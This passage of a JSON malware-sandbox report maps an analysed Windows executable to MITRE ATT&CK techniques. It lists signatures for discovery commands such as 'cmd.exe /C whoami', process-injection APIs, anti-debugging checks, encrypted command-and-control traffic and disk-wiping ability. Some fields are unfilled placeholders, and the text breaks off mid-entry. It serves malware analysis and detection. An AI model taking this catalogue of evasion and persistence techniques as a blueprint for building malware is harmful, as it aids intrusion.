typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve the current user information"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques using MAC address detection"},{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"Contains ability to attach base64 encoded attachment to an email"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"malicious","value":"Found unknown user-agent(s)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to use AES encryption instructions"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"References OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"Contains indicators of bot communication commands"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"tactic":"Impact","technique":"Disk Content Wipe","attack_id":"T1561.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1561/001","identifiers":[{"type":"informative","value":"Contains ability to format disks"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to attach base64 encoded attachment to an email","description":"Found string \"Content-Transfer-Encoding: base64%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")\n Found string \"Content-Transfer-Encoding: base64%s%s\" (Indicator: \"Content-Transfer-Encoding: base64\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132.001","relevance":3,"id":"string-588","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContext\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CryptAcquireContext failed\" (Indicator: \"CryptAcquireContext\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"file/memory contains long string with (Indicator: \"AESNI\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$29","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to attach base64 encoded attachment to an email\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains ability to attach base64 encoded attachment to an email\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to use AES encryption instructions\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Spawned process connects to a network\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contacts server","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"IsWow64Process\" with parameter \"308\" - (UID: 00000000-00000308)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000308)\n \"whoami.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004116)\n \"getmac.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003540)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"whoami.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00004116)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"whoami.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"getmac.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"\"cmd.exe\" /C \"whoami\"\" (Indicator: \"\"whoami\") in Source: 00000000-00000308-00000C41-4271345088\n Observed string: \"whoami\" (Indicator: \"whoami\") in Source: 00000000-00006344-00000C41-1061617266\n Observed string: \"/C \"whoami\"\" (Indicator: \"\"whoami\") in Source: cmd.exe\n Observed string: \"\"cmd.exe\" /C \"whoami\" (Indicator: \"\"whoami\") in Source: 00000000-00000308.00000001.68500.A16F0000.00000004.mdmp\n Observed string: \"whoami\" (Indicator: \"whoami\") in Source: 00000000-00000308.00000001.68500.A16F0000.00000004.mdmp\n 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"getmac.exe\" issued a query \"ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID=\"12\"} WHERE ResultClass=Win32_NetworkAdapterConfiguration\"\n \"getmac.exe\" issued a query 